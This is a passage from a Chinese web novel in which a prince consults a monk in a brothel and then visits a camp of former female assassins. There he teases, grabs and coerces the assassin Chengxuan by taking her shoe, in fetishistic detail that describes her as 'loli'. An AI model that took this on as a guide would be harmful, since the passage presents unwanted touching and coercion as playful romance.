一手端着精美的琉璃杯喝着上好的清酿,另一只手居然不老实地搂着一个眉眼如画的清倌人。那清倌人正被他逗得掩口轻笑,面若桃花。 正是几日不见的棋牌佛! 林臻嘴角勾起一丝意味不明的笑容,无视周围投来的或好奇或敬畏的目光,分开略显拥堵的人流,大步流星地朝着那其乐融融的角落走去。 第583章 天机不可泄露 棋牌佛正搂着美人惬意地喝酒调笑,目光瞥见闯进来的林臻,非但没有惊慌,反而放开嗓门哈哈一笑,极其自然地在那清倌鼓胀饱满的胸口上用力抓了一把,惹得美人惊叫一声后才将她往旁边一推。 老和尚整理了下骚包的锦缎袈裟,对走过来的林臻挤眉弄眼,语调油滑:“哟!这不是世子爷吗?您这满府娇妻美眷,如花似玉的,怎么也有兴致来这腌臜地方寻欢作乐?莫不是家里饭菜吃腻了,想尝尝野花的滋味儿?” 他语气揶揄,眼神里满是戏谑。 林臻脸一黑,懒得跟他费口舌扯皮,皱眉不耐道:“老和尚少在这跟我胡言乱语!跟我来!” 说完,他看也不看棋牌佛那副促狭模样,转身径直朝着楼内更为隐蔽的豪华包厢走去。 棋牌佛也不恼,嘿嘿笑了两声,端起酒杯一口闷了,才拍拍屁股,晃着闪亮的脑壳跟上林臻的步伐。 两人刚走进装修奢华、地上铺着猩红波斯地毯的包厢门,林臻甚至还没来得及在柔软的紫檀木圈椅上坐下,一直沉默贴身护卫的侯春便快步上前,双手恭敬地呈上一封加着火漆印的密信,压低声音道。 “世子!北疆八百里加急军报刚刚送到!雁门关已告全克!我军前锋营精锐已突破燕山屏障,向西疾进,现已将北燕京城团团围困!” “嗯。”林臻眼中精光一闪,心中虽波澜起伏,面上却依旧沉稳,只是微微颔首。 他接过那封分量沉重的密信,入手便知其中消息确凿。 随手将密信放在一旁的紫檀小几上,对着侯春挥了挥手。 侯春会意,躬身悄无声息地退到包厢外守护,并轻轻关上了厚重的包厢门。 此刻,偌大的豪华包厢里只剩下林臻和棋牌佛两人。 空气中弥漫着檀香和一种奢靡的甜香。 林臻这才重重坐进那张宽大舒适的圈椅里,身体深陷在柔软的锦缎靠垫中。 他习惯性地从怀中摸出自己的那支白玉烟袋锅子,用火折子点燃了里面上好的烟丝,深深地吸了一口,顿时辛辣的烟雾在口腔和肺腑间弥漫开。 他透过袅袅升腾的青色烟雾,看向大大咧咧坐到他对面的棋牌佛。 “老和尚,”林臻的声音带着一丝沙哑和毫不掩饰的揶揄,“你这身子骨,总在脂粉堆里打滚,就不怕哪天直接死在这帮姐儿的肚皮上?真应了那句牡丹花下死做鬼也风流了?” 棋牌佛也拿出自己那支雕刻着狻猊、显得颇为古拙的老烟袋锅子,慢悠悠地填烟丝点燃,深深地吸了一大口。 浑浊的眼睛在烟雾中显得更加飘渺,他用一种异常低沉、仿佛带着无尽沧桑的语气幽幽叹道:“唉……若是真能死……贫僧早该死了。” 这话语仿佛轻烟,却带着一种令人心惊的死气沉沉的无奈。 林臻握着烟杆的手一顿,烟雾中的眼神猛地一凝! 这话透出的诡异信息让他心中陡然升起一股难以言喻的疑虑和探究。“你这话什么意思?!” 棋牌佛只是浑浊的眼珠转动了一下,缓缓地摇了摇头,那张布满皱纹的老脸上,又习惯性地挂上了那副“天机不可泄露”的高深莫测状,闭紧了嘴巴,显然是不肯再吐露分毫。 林臻盯着他看了片刻,那股奇异的感觉在心中盘旋不去,但对方摆明了拒人千里之外的态度让他明白强问无益。 林臻吸了口烟,决定先按下此事。他将烟袋锅子在烟灰缸沿上轻轻磕了磕,烟灰簌簌落下,话锋陡然转向冰冷肃杀: “少装神弄鬼。告诉我,煊赫门的老巢还有那个哈德门,究竟在哪?!老子这次非把他们集体团灭不可!” 棋牌佛吐出最后一口浓烟,仿佛要将刚才泄露的沉重情绪也一并吐出,脸上恢复了那标志性的市侩老滑,摊了摊手,一副“我什么也不知道”的无赖相。 “世子明鉴啊,贫僧只是个吃斋念佛、游戏红尘的方外之人,哪知道这些打打杀杀的江湖门派藏在哪个犄角旮旯?” 林臻眼神陡然转厉,如同两道冰冷的刀锋刺向棋牌佛! 包厢内的温度仿佛都骤降几度! “别给我装糊涂!”林臻的声音斩钉截铁,带着不容置疑的决心,“你就算现在不说,本王也一样能把他们的鼠窝一个一个揪出来!然后……” 他的每一个字都像淬了冰:“连根拔起!寸草不留!一个都跑不掉!” 感受到林臻身上那股几乎凝成实质、席卷而来的毁灭性杀气,棋牌佛脸上的油滑笑容僵了僵,仿佛被掐住了脖子,眼神深处掠过一丝凝重。他砸吧了一下嘴,才慢悠悠地说道: “世子好大的杀性……也罢。煊赫门其实也没那么神秘。以前他们在青州地区,现在已经南迁了,扎根在南楚。那韩天星现任楚国丞相,是煊赫门推到前台的一个主事而已,至于你说连根拔起……” 他顿了顿,浑浊的老眼中闪过一丝奇异的光,“灭了南楚,煊赫门自然也就塌了半边天。哦,顺带一提,如今南楚的皇帝楚霸天,按辈分算是那韩天星的嫡亲姨表哥,南楚皇室与煊赫门渊源极深,也算是同脉同枝。” 他又摊手道,“至于那哈德门,贫僧是真的只闻其名,难窥其踪了。这帮人行事诡秘,藏得比地底的老鼠还深。” 林臻听着,面上不动声色,心中却暗自印证。 这老和尚吐露的关于煊赫门的情报,尤其是其根基在南楚、与南楚皇室的关系,倒是与他掌握和推断的信息大致吻合,没有超出预想。 这也更印证了这老家伙的情报价值。 林臻点了点头,重新拿起烟袋锅子,语气带着运筹帷幄的自信:“武清的船坞,如今已能初步量产新式战船。虽说产量微薄,一个月勉强挤出一艘,但只要时机成熟,本王必亲率舰队,踏浪南征!将这笔血债连本带利,与那南楚狗皇帝和煊赫门一并清算干净!” 他对未来水军的布局显然早有腹稿。 话题引到这里,林臻猛地又想起一件盘亘心头已久的疑问。 他再次看向棋牌佛,目光锐利如鹰隼,带着探究:“不过在算这笔总账之前,我有个问题必须问你,当初青霞分娩之前,孩子还安安稳稳在她腹中,你为何就一口断言此子难降,天道所阻?甚至点明了太阳会被遮蔽?!你是如何预知到这一切的?” 林臻逼近一步,烟也不抽了,眼神紧迫地盯着棋牌佛,“别告诉我,真的是算出来的?!” 棋牌佛迎上林臻灼灼逼视的目光,却只是扯动嘴角,露出一个极其诡秘难懂的笑容,轻轻放下手中的烟袋锅子,缓缓吐出两个字: “天机……不可泄露。”依旧是那副能气死人的高深莫测模样。 林臻看着他那副死猪不怕开水烫的表情,瞬间感到一股憋闷涌上心头! 他重重地“哼”了一声,再懒得跟这故弄玄虚的老秃驴废话。 “我他妈没事来找你干什么,真晦气!” 林臻猛地从圈椅中站起,将烟袋锅子往腰间一别,抬脚就往包厢外走去。 走到门口,他脚步微顿,连头都懒得回,手却向后一扬,一个沉甸甸的锦囊带着破风声准确地砸向棋牌佛面前的桌面,里面显然装满了价值不菲的银饼子。 “拿着!祝你早日如愿以偿,死在某个姐儿的肚皮上!”林臻的话音带着毫不掩饰的讥讽和不爽,随即“砰”地一声拉开包厢门,头也不回地大步走了出去。 棋牌佛坐在原地,看着林臻消失的背影,又低头瞅了瞅桌子上那鼓鼓囊囊的钱袋子。 那张布满褶皱的老脸上,市侩的笑容立刻又堆了起来,毫不客气地一把将锦囊揽入怀中,甚至还掂量了一下分量。 对于林臻的诅咒,他非但不恼,反而笑得见牙不见眼,连句“谢世子赏”的客套话都欠奉,只顾着摸钱去了。 林臻阴沉着脸走出琼玉阁的大门,心中憋着一股因棋牌佛故弄玄虚而起的无名火。 明媚的阳光刺得他微微眯眼。 他翻身上马,没有再看身后的莺莺燕燕,对早牵马等在外面的侯春等人简短下令: “走!” 一行人打马扬鞭,离了繁华城区,直奔北门而去。 第584章 别这么叫我,我跟你很熟吗? 出了城,官道两旁是连绵起伏、在春日阳光下苍翠欲滴的燕山支脉。 快马奔腾,激起滚滚尘土。 大约半个时辰疾驰,山路渐深,峰回路转。 在一处极其隐秘的、形似巨碗的环形山谷入口前,林臻等人勒住了马缰。 眼前豁然开朗! 只见山谷盆地中央,一座规模宏大、布局森严的营地依山而建。 高大的原木围墙将山谷内部完全与外界隔绝,四角建有坚固的箭楼哨塔,隐隐可见上面有持弩警戒的身影。 营地大门紧闭,粗重的硬木包着铁皮,显得厚重无比。门楼上悬挂着黑底金字的巨大牌匾——天道营?! 正是林臻一手组建,专门培养、训练那些被收编的原天道女杀手,将其转化为王府顶尖细作和情报力量的核心基地! 此地远离尘嚣,四周皆是险峻山峦,极为隐蔽,正是进行秘密活动的绝佳场所。 负责外围警戒的都是王府直属的金吾卫精锐。 林臻等人刚靠近,立刻便有金吾卫的军官迎上前来,验明身份后,恭敬地行礼,随即下令打开了沉重的营门。 林臻带着侯春等人策马而入。 营内远比外面看起来更加开阔和震撼。 首先映入眼帘的,便是一个巨大的、用黑色火山岩铺就的圆形演武场! 此刻,演武场上约莫两百名年轻女子,清一色身着利落的藏青色贴身劲装,身姿矫健挺拔,正在进行着某种迅捷而凌厉的合击阵型演练! 她们动作整齐划一,步伐轻盈,拳掌如风,每一次闪转腾挪、每一次出手,都带着破风的劲响和令人心悸的默契与杀气! 而在演武场正中央的高台上,一个身着更为精细银色劲装、身姿如标枪般笔直挺立的美艳女子,正柳眉微蹙,目光如电地扫视着下方演练的学员。 她声音清越,带着不容置疑的威严,不断地发出指令:“注意!收肩!劲要透!三转九回,七位一体!步要碎!劲要活!慢了!重来!” 正是连续刺杀数次,最终爱上敌人的静澜仙子! 如今她已是天道营的首席格击教官。 林臻打马慢行,直接来到了演武场边缘。 高台上的静澜仙子显然也看到了他。 静澜仙子停下指令,目光穿过练武场众人落在林臻身上,脸上没有一丝笑容,眼神平静冷淡,语气更是带着几分拒人千里之外的不咸不淡:“原来是世子大驾光临。” 连行礼都免了,语气如同跟一个路人打招呼。 林臻勒住马,对于静澜仙子这副爱答不理、甚至带点怨气的态度非但不恼,反而觉得有些好笑。 他翻身下马,牵着缰绳踱步到高台下方,仰头看着上面的静澜,带着几分调侃道:“静澜,你见了顶头上司,就这个态度?” 静澜仙子居高临下地瞥了他一眼,那双原本就清冷的眼眸此刻更是没有一丝温度,语气硬邦邦:“不然呢?要敲锣打鼓,三跪九叩吗?” 仿佛还在记恨当初林臻与她们天道的旧怨。 林臻摸了摸鼻子,嘴角勾起一抹玩味的弧度,决定火上浇油:“嘿,这话说的。静澜啊,做人要讲良心。你摸着你的良心想想,当初要不是我慧眼识珠,给你做了这个大媒……” 他故意拉长了调子,看着对方瞬间绷紧的脸颊:“你能有机会攀上胖子这根高枝?能当上这万人仰慕、威风凛凛的首席教官?你不谢我也就罢了,还给我摆脸色?” “哼!”静澜仙子被他的话一噎,脸蛋顿时气得更白了。 她猛地一跺脚,霍然转过身去,背对着林臻,只留给他一个曲线玲珑、却透着一股倔强孤冷气息的背影。 半晌,才传来她幽幽的、仿佛带着无尽担忧和期盼的声音,低沉得几乎被风掩盖: “胖子……北边有消息了吗?” 林臻脸上的调侃之色收敛,正色道:“刚得的军报。雁门关已下,大军已合围北燕都城。战事会在年内结束。胖子立了大功,好得很。” 他将最新的北疆军情如实相告。 背对着他的静澜仙子,纤细的肩膀似乎几不可察地轻轻松垮了下去。 她深深地、无声地吸了口气,仿佛卸下了千斤重担。 没有回头,也没再多说一个字,只是重新面向演武场,挺直了腰背,清冷而有力的声音再次响彻全场,继续着她教官的职责,指挥操练。 “左三队,七点方位,刺掌突进!快!” 林臻看着她的背影,知道她听进去了,也就放心了。 他将马缰交给身旁的护卫,不再打扰她,径直走向演武场对面那片由一栋栋结实砖石砌成的营房区。 其中最中间的一栋,是一座两层高、以巨木为主体搭建的宽阔阁楼,这便是天道营的指挥中枢——“听竹楼”。 门口无人把守,林臻直接推门而入。 相比外面演武场的杀伐之气,“听竹楼”一层议事厅内却是另一番景象。 布置得简洁而典雅,四周摆放着多宝格,整齐陈列着各类卷宗文书、舆图模型。 一位身着明艳橙色流云纹长裙、身段高挑的女子正端坐在巨大的书案后。 她乌黑如瀑的长发松松挽起,垂落几缕在颊边,此刻她正凝神翻阅着厚厚一叠名册,不时用朱笔勾画,神色专注,眉宇间带着一股久居人上、不容置疑的沉凝气势。 正是如今天道营实际上的掌舵人之一,负责内务与情报整理的橙萱仙子! 林臻迈步走到书案前,直接叫了她的名字:“橙萱。” 听到声音,橙萱仙子缓缓抬起头,露出一张五官明艳大气、如同工笔画精雕细琢般的脸庞。 她的目光平静如水,清冷中带着一丝天生的疏离和审视,落在林臻身上。 她没有立刻回应林臻的称呼,也没有起身行礼,只是将手中的朱笔轻轻搁在青玉笔架上,红唇微启,吐出的却是比窗外山风更清冽的质问: “世子今日驾临指导,属下本应恭迎。只是……” 她精致的下颌微微抬起一丝不易察觉的角度,眼神愈发深邃锐利,声音清晰地回荡在寂静的大厅中:“只是不知世子为何要称呼得这般亲切?我跟你很熟吗?” 第585章 你速度居然这么快! 橙萱那清冷冰冽的眸子直直刺向林臻,那句被她认定为冒犯的、过于“亲昵”的称呼“橙萱”,如同投入寒潭的炽石,非但没能化开坚冰,反而激起了更为锋锐的抵触和寒意。 她红唇紧抿,连带着说出的话语都像是结了霜凌:“世子这般称谓属下承受不起!也无需世子故作亲热!” 林臻看着她紧绷的小脸,那双清澈如琉璃、此刻却燃着怒火的眼睛,那副明明气得要炸却偏要强装冷傲的小模样,非但不恼,反而觉得更有趣了。 他身体微微前倾,双肘闲适地撑在巨大的书案边缘,将她整个人笼罩在自己的身影下,嘴角勾起一抹玩味的笑,慢悠悠问道: “哦?那我该如何称呼你呢?”他故意拖长了语调,眼神也变得促狭,带着显而易见的戏谑,“嗯……难不成叫反贼?这听起来似乎更威风点?” “你!”橙萱瞬间如同被踩了尾巴的小猫! 那双漂亮的眼睛瞪得溜圆,清冷全无,瞬间燃起两簇羞恼的火焰! “我不是反贼!” 她几乎是低吼出声,小小的银牙紧咬下唇,饱满粉嫩的香腮因为极度气恼不受控制地鼓了起来! 那气鼓鼓的模样,配上她本身那种精致如瓷娃娃般的萝莉小脸,倔强中透着一股让人心痒难耐的可爱娇憨,与她周身散发出的冷厉气势形成了强烈的反差。 林臻只觉得这模样实在太过招人。 心里那股逗弄的心思如野草疯长。 他身体顺势矮下一截,几乎与她坐在书案后的高度持平,自然而然地伸出手指,就想在那鼓起的、粉雕玉琢似的脸蛋上轻轻掐一把,感受那惊人的弹性。 “呀!”橙萱的反应快如闪电! 她的身体如同受惊的小兽般猛地向后一仰,带得椅子腿在光滑的砖石地面上摩擦出刺耳的“吱呀”声! 她瞬间从椅子上弹跳而起,脚下莲步错动,一个精巧的滑步便退到了书案侧面更宽敞的地带,与林臻拉开了数步距离,一脸警惕如临大敌,美目圆睁,厉声呵斥: “放肆!林臻!你想干什么?!”声音又急又怒,甚至直呼其名。 林臻慢悠悠地收回手,姿态依旧从容,脸上挂着无辜又促狭的笑容,仿佛刚才的举动再自然不过:“别紧张。只是看你腮帮子都气得鼓起来了,像个塞满食物的小松鼠,挺可爱的。想替你揉揉消消肿罢了。” 这话一出,橙萱那张原本因怒气而紧绷的脸蛋,瞬间如同被投入了烧红的烙铁! “腾”地一下,从莹白如玉的额角、小巧的鼻尖、修长的脖颈、一直红到了精巧秀气的耳朵尖! 绯红晕染开,如同泼洒的胭脂,再也分不清是气的还是羞的。 “无耻!可恶的登徒子!”橙萱又羞又怒,只觉自己身为顶尖杀手的尊严和清冷孤傲的姿态被林臻这轻佻的言行彻底踩在了脚下! 她气得胸脯微微起伏,咬牙切齿。 “你、你休要得寸进尺!睁大你的眼睛看清楚!” 她几乎是吼了出来,带着一种“士可杀不可辱”的悲愤。 “我是天道十二仙!是天道宗最顶尖的杀手!不是你府里那些千娇百媚任你狎玩的侍妾!!” 橙萱眼中凶光毕露,显然已动了真怒。 林臻却像是被彻底逗乐了,不仅不退,反而上前半步,脸上的笑容愈发浓郁,带着一种痞痞的坏:“哦?这就恼羞成怒了?那你想怎么样?嗯?是要杀了我泄愤吗?” 他尾音上扬,充满了挑衅和……期待? “你!”橙萱被他这无赖样彻底点燃了炸点! 尤其是那句“杀了我”,瞬间勾起了她尘封心底、那段在破庙暗室里暗无天日、饱受屈辱的囚禁记忆! 新仇旧恨瞬间涌上心头! “你以为我不敢?!”橙萱清叱一声,眼眸中杀机迸现! 纤手如钩,带着撕裂空气的锐啸,精准狠辣无比地直抓林臻的咽喉要害! 这一爪蕴满力道,角度刁钻,速度更是快若闪电!身为顶级杀手,她深知如何最快制服或击杀对手!在她看来,林臻一个不通武艺的纨绔世子,根本无法避开这一击! 然而! 就在她指尖即将触及林臻喉管的刹那! 林臻的肩膀似乎只是极其轻微地向后晃了一下,甚至连脚步都没有移动,整个身体就如同风中摆柳般,以一个不可思议的角度扭曲滑动! 唰! 那凌厉的爪风擦着林臻的咽喉前方不足一寸掠过,只抓了个空! 橙萱瞳孔骤然收缩成针! 娇躯猛地僵住! 一招落空的错愕感让她几乎失声! 她难以置信地盯着那近在咫尺、依旧挂着气人笑容的俊脸,脱口惊呼: “你……你的速度……怎么可能这么快?!”她的声音里充满了震惊和不解。 刚才那微乎其微、却又妙到毫巅的闪避身法,根本不是普通人能做出的反应! 林臻仿佛刚被人挠了下痒痒般轻松,眨眨眼,脸上的坏笑更深了:“快?你说什么快?” 他故意歪着头,眼神暧昧地上下扫视着橙萱,“是躲开的速度快?还是别的什么快?嗯?我怎么没听明白呢?” 他刻意放慢语调,带着明显的调笑意味。 橙萱这个小姑娘虽然武功高强,但心思单纯,男女情事上如同白纸,哪里听得出林臻这语带双关的荤话。 她只震惊于对方的身法,根本没往那方面想,于是再次带着不解和急切的求证口吻重复道: “当然是速度!我全力出手的一抓,普通练家子都绝难避开!你明明只是个没学过内功武艺的普通人!怎么可能躲得开?!” “哦~原来是说‘速度’啊~”林臻恍然大悟般拉长了调子,看着眼前这单纯又较真、充满求知欲的可爱小杀手,忍不住又往前凑了凑,声音压低,带着蛊惑般的暗示: “我的速度,那可是比你想象中还要快得多。”他看着橙萱依旧有些迷惑的清澈眼睛,嘴角咧开一个大大的、无比暧昧的坏笑, 橙萱依旧没懂,眉头反而皱得更紧,似乎在消化他的身法理论。 看着这呆萌可爱又身手凌厉的小萝莉杀手迷茫的样子,林臻心中玩性更盛。 就在这时,橙萱为了再次试探林臻的真实底细,也是心绪激荡下急于扳回一城,竟不管不顾地再次出手! 这一次不再是擒拿,而是灌注了内劲的一记凌厉腿鞭! 笔直修长的玉腿裹挟着破风之声,如钢鞭般带着啸音狠狠扫向林臻的侧腰! 速度力量都远超先前! 面对这一记足以踢断铁桩的狠辣腿鞭,林臻嘴角却勾起一抹了然的笑意。他身形不退反进,如同早就预判到了这一击! 在腿风袭体的瞬间,他右手疾探而出,竟不偏不倚,如同铁钳般精准无比地抓握住了橙萱那纤细却充满爆发力的脚踝! 入手一片惊人的滑腻温软,同时又感受到玉足上传来的紧绷弹力与内息的冲击! “啊——!” 橙萱身体瞬间被制住单腿,又骤然被陌生男子紧握脚踝! 这突如其来的身体触碰远超她经历过的任何窘迫! 一股强烈的、从未有过的异样酥麻电流瞬间从被握住的脚踝处蔓延全身! 她如同被滚烫的烙铁烫到,惊叫一声,娇躯剧颤,原本煞白的小脸再次“轰”地一下红透,连白皙的脖颈都成了粉红色! 羞愤和气急败坏的慌乱几乎让她语无伦次: “你!你……你放开我!登徒子!流氓!!” 她想抽回腿,但脚踝被林臻握得死死的,纹丝不动! 那坚实有力的大手传来的热量和触感,让她浑身僵直,一股强烈的热流直冲脑门,羞得她几乎要晕过去! 第586章 男人的头,女人的脚! 橙萱那从未被任何男子触碰过的纤细脚踝,此刻正被一只温热有力的大手牢牢握住! 一股前所未有的、酥麻中带着强烈悸动的异样感,如同失控的电流,瞬间从被抓握的脚踝肌肤,蛮横地蹿遍全身每一根神经末梢! 她娇躯微颤,清冷孤傲的面具被彻底击碎,只剩下一片滚烫的羞红和不受控制的慌乱! 她只能徒劳地对着那个一脸坏笑、眼神促狭的林臻发出毫无底气的娇嗔:“你!林臻!快放开我!!” 林臻非但没松手,反而五指略一收紧,带着一种恶意的调侃,仿佛在仔细品味指掌间那份惊人的触感。 那脚踝骨节纤巧玲珑,肌肤滑腻如最上等的暖玉,指腹传来的柔韧弹力更是让人忍不住想多握片刻。 他目光下移,带着毫不掩饰的欣赏扫过她被迫踮起单脚、线条诱人的小腿,坏笑道:“啧啧,这手感果然不负仙子之名。不放!就不放!你能把我怎么样?” 那被亵渎的触感和林臻轻佻的话语,让橙萱羞愤欲狂! 脸蛋红得像要滴出血来,那双清澈的眸子燃烧着屈辱的火焰,声音都因急怒而微微颤抖:“你、你再不放开我!我真……真对你不客气了!” 她试图搬出天道的威名震慑,但此刻听来竟有些色厉内荏。 “不客气?”林臻嗤笑一声,眼神带着赤裸裸的挑衅和玩味,“不客气又能怎样?说得好像你这小胳膊小腿,真能打得过我似的!” 他微微眯眼,一副“你奈我何”的倨傲模样。 “你——!”橙萱被他这无赖又嚣张的态度彻底点燃了火气,理智濒临崩溃,“林臻!你到底放不放?!” “就不放!”林臻回答得斩钉截铁,嘴角上扬,欣赏着她炸毛的小模样。 就在这时! 羞怒到极致的橙萱眼中闪过一丝凌厉决然! 她深吸一口气,身体猛地一拧! 那被林臻握住的右脚借力发力,身体重心却陡然拔高! 几乎与此同时,她那条自由的左脚如同蓄满力的弓弦,带着破空的厉啸,瞬间离地腾空! 脚尖紧绷如枪,狠绝无比地朝着林臻那张可恶的笑脸疾踢而去! 她用的是全力,毫无保留! 这是顶级杀手的含怒一击! 这一变招兔起鹘落,狠辣刁钻! 林臻眼中精光一闪! 就在那脚尖带着劲风即将触碰到他鼻梁的千钧一发之际! 他右手突然毫无征兆地松开了橙萱的右脚踝! 力量陡然落空! 橙萱的身体在半空中瞬间失去一部分平衡! 然而,林臻的动作更快! 他松手的瞬间,左手已如同闪电般探出! 目标直指橙萱那刚刚腾空踢向自己面门的左脚脚踝! 他本欲如法炮制,再次抓住她的左脚! 但橙萱终究是顶尖杀手! 对力量变化和重心偏移的感知敏锐无比! 在林臻松手的瞬间,她心中警兆已生! 虽因身体悬空稍显狼狈,却硬是在电光火石间做出了最本能的反应,将那踢出的左脚疾如旋风般回收! “啪!” 林臻的手快,但橙萱脚更快! 他五指堪堪擦过橙萱左脚踝细腻的肌肤,带起一丝凉滑的触感,却未能成功抓握! 只捞了个空! 但这一擦并非毫无成效! 橙萱左脚疾速回收时,脚上那只精致小巧、绣着繁复缠枝花纹的橙黄色绣花鞋,竟被林臻那疾抓而过的指风带得一个不稳! 只听“啪叽”一声脆响! 那只漂亮温润、显然是顶级丝绸所制的绣花鞋,连同里面一只同样精致雪白的罗袜,竟直直地从橙萱左脚上脱落,掉落在坚硬光亮的地砖上! 一只莹白如玉、足弓优美、脚趾玲珑圆润如颗颗珍珠的纤纤玉足,瞬间暴露在空气中,也毫无遮拦地呈现在林臻灼灼的目光之下! 那玉足美得惊人! 脚趾排列整齐、晶莹剔透,在略显昏暗的光线下依旧泛着莹润的光泽。 脚背白皙光滑,足踝纤细,更无半分异味,反而随着玉足暴露的瞬间,一股清雅悠淡、令人神清气爽的花香幽幽地弥漫开来! 林臻下意识地顺着香气和视线下移,赫然发现那掉落的绣花鞋鞋腔里,竟然整整齐齐地铺着一层晒干但色彩依旧鲜亮的花瓣! 难怪香气如此独特! 林臻弯腰,十分自然地捡起了地上的绣花鞋和袜子,指尖甚至能感受到花瓣的柔软。 他拿着鞋,在还有些懵然、单脚金鸡独立般的橙萱面前晃了晃,饶有兴致地嘲弄道:“哟?鞋子里还垫花瓣?讲究人儿啊!就不嫌硌脚么?” 橙萱的脸瞬间红得像煮熟的虾子! 从脚踝被握、玉足暴露在男人目光下的那一刻起,她的大脑就一片空白,巨大的羞耻感如同海啸般将她吞没! 那句“男人的头,女人的脚,摸不得!”的古训在她脑海里炸响! 她羞得几乎要找个地缝钻进去,本能地将暴露在外的玉足猛地缩向身后,藏在了支撑身体的右腿后面,徒劳地遮掩着这让她无地自容的部位。 她急得快哭出来,声音带着前所未有的慌乱和哀求:“无耻!你……你把鞋子和袜子还给我!” 林臻却不紧不慢地踱步到一旁的太师椅边,好整以暇、落落大方地坐了下来。 他翘起二郎腿,那只绣花鞋和袜子被他漫不经心地搭在膝盖上,像把玩着一件有趣的战利品。 “还你?”林臻眉毛一挑,语气带着不容置疑的掌控力, “可以啊。不过嘛……得先回答我几个问题。答得本世子满意了,自然原物奉还。” 他顿了顿,看着橙萱那又羞又急、恨不得扑上来咬他一口的模样,嘴角勾起更加恶劣的笑意,慢条斯理地补充:“否则你就准备单脚跳回去吧。或者光脚站在这儿等也行。自己选咯?” 这简直是无耻到了极点! 橙萱气得胸口剧烈起伏,指着林臻,连说话都因为极度的羞耻和愤怒而结巴: “你……你!堂堂一国世子,竟然如此下作!欺负我一个弱女子!你还要不要脸!” “弱女子?”林臻仿佛听到了天大的笑话,嗤笑道,“死在你手上的人命,没上百也有八十条了吧?你这样的也叫弱女子?那天底下还有悍妇么?” 他晃了晃膝盖上的鞋袜,“怎么样?是选择回答问题呢?还是光着脚等?” 橙萱被他噎得语塞。 看着他膝盖上属于自己的贴身衣物,再感受着脚底板地砖冰冷的触感和强烈的羞耻,她知道,在这混蛋面前讨价还价是无用的。 巨大的无力感袭来,她咬着下唇,那樱唇几乎要被咬出血来,最终,羞愤欲绝地挤出一句微弱得几乎听不见的妥协:“我……我答应你就是了!” 这话刚说出口,连她自己都愣了一下,这带着点无可奈何的、近似“屈服”意味的话语,怎么听着那么暧昧呢? 她立刻深深低下头,不敢再看林臻。 林臻眼底闪过一丝得逞的笑意。 他冲橙萱勾了勾手指,态度随意得像召唤一只小猫小狗:“这才乖嘛。过来,爷给你把鞋穿上。” 橙萱狐疑地抬起脸,长长的睫毛上似乎还沾着一丝屈辱的湿气。 她单脚在原地踌躇片刻,看着林臻那副我说话算话的表情,又感受着光脚的冰冷和不自在。 最终,在巨大的羞耻感和对拿回鞋袜的渴望驱使下,她深吸一口气,抿着唇,强忍不适和不安,单脚一蹦一跳地挪到了林臻旁边另一张太师椅边。 她扶着椅背稳住身体,像下定莫大决心般,带着万般委屈和不情愿,将自己那只暴露在外的玉足,微微抬起,迟疑地、僵硬地向林臻的方向伸了过去,准备接受他所谓的伺候穿鞋。 第587章 我给你穿鞋 林臻看着她那副视死如归、悲愤交加的小表情,心中好笑更甚。 他伸手,将那只完美无瑕的玉足轻轻捧在了手心。 她的脚趾因为紧张和极度的羞赧,不自觉地紧紧蜷缩了起来,脚背上甚至能看到微微凸起的可爱小骨节,脚心细腻的纹路因蜷缩而形成一道道柔软的皱褶。 林臻的目光肆无忌惮地在手中的玉足上流连,那欣赏艺术品般的赤裸目光让橙萱浑身如同被无数蚂蚁爬过,她急得脚趾蜷得更紧,带着哭腔催促:“你、你看够没有?!快穿上啊!!” 她感觉自己的脚心都快被他灼热的目光烫出洞来了。 “啧,急什么?”林臻慢悠悠地拿起那只雪白的罗袜,动作慢条斯理地,一点点、轻轻地将她微凉蜷缩的脚趾从指间的缝隙中小心翼翼地抚展开,再温柔地将罗袜套上她的脚背、足踝。 那指尖偶尔擦过她脚心敏感处的皮肤,带来阵阵无法控制的细小战栗。 接着,他又拿起那只带着清雅橙花香的绣花鞋,轻轻托着她的脚后跟,小心翼翼地将她的玉足送进鞋子。 动作细致缓慢,像是在进行某种神圣而私密的仪式。 橙萱紧闭着眼,长长的睫毛像受惊的蝶翼般剧烈颤抖着,强忍着脚上传来的阵阵酥痒和被他触碰到肌肤时的异样触电感,心里不停默念着“快点结束快点结束”。 当林臻终于将那该死的鞋子完整地穿好在她脚上,并收回了那只让她饱受煎熬的手时,她几乎是触电般猛地将脚抽了回来,然后警惕地瞪着林臻,绝不再给他任何碰触的机会! 林臻看着她如释重负又心有余悸的模样,心情大好,仿佛刚才那场小小的交锋只是无聊日常的点缀。 他舒服地向后靠进太师椅里,随意地评论道:“啧,保养得倒是不错。就是这脚嘛,比起玲儿的,还差了那么点意思。” 橙萱正羞愤交加地试图抚平刚才混乱的情绪,闻言一愣,下意识反问:“玲儿是谁?” 林臻懒洋洋地解释:“芦德豪那倒霉蛋的漂亮媳妇呗。当年,他就是迷上了人家那双美足,二话不说就八抬大轿抬进府的。”他撇撇嘴,“据说那才叫一个真正的步步生莲。” 橙萱下意识地瞥了一眼自己还被藏在椅子下面的脚,听到这种评价,心里莫名涌起一丝不服气和连自己都觉荒谬的在意。 她撇了撇嘴,哼道:“切!我才不信!世界上哪有凭一双脚就嫁进豪门的道理?你少编排人来哄我!” 那神情,倒像是被人说不如别人时的小孩子脾气。 林臻嘿嘿一笑,也不辩解。 玩笑开够,他脸色稍正,切入正题:“好了,言归正传。今天来,主要是问问,之前安排的护卫轮值情况落实得如何?详细说说吧。” 这涉及王府女眷安全,并非儿戏。 橙萱也立刻收敛了羞态,虽然脸上红晕未退,但神色变得严肃起来。 她在椅子上坐直了身体,条理清晰地回禀道: “都安排妥当了,按你的意思和夫人们的轮值安排,绯羽仙子护卫张俪夫人,霜凝仙子随侍月妩夫人,紫菱仙子贴身保护楚惜灵夫人,碧瑶仙子负责浣碧夫人,雪樱仙子护卫晴雯夫人及小公子承煜,灵韵仙子已领命入宫,随护司马椿蕾夫人,幽梦仙子则留在府中,专职护卫上官婉儿夫人。” 她语速清晰,一口气报完主要女眷的护卫安排,接着道。 “至于璃月、静澜和我,则暂留天道营本部。璃月负责新训杀手的实战考核与筛选,静澜负责格斗武技与合击阵法教授,属下我则负责情报整理分析、内务协调以及各小队轮值调度。另外雷影姐姐奉令已外出多时,负责为新的情报据点选址考察,准备在京城周边建立更为隐蔽的情报中枢。” 汇报得一丝不苟,尽显其掌舵大局的能力。 林臻听得频频点头,对天道营目前的有序运转表示满意。 但听完后,他却话锋一转,提出了一个让橙萱措手不及的要求:“天道营的日常训练可以告一段落了。” 橙萱一愣:“什么意思?” 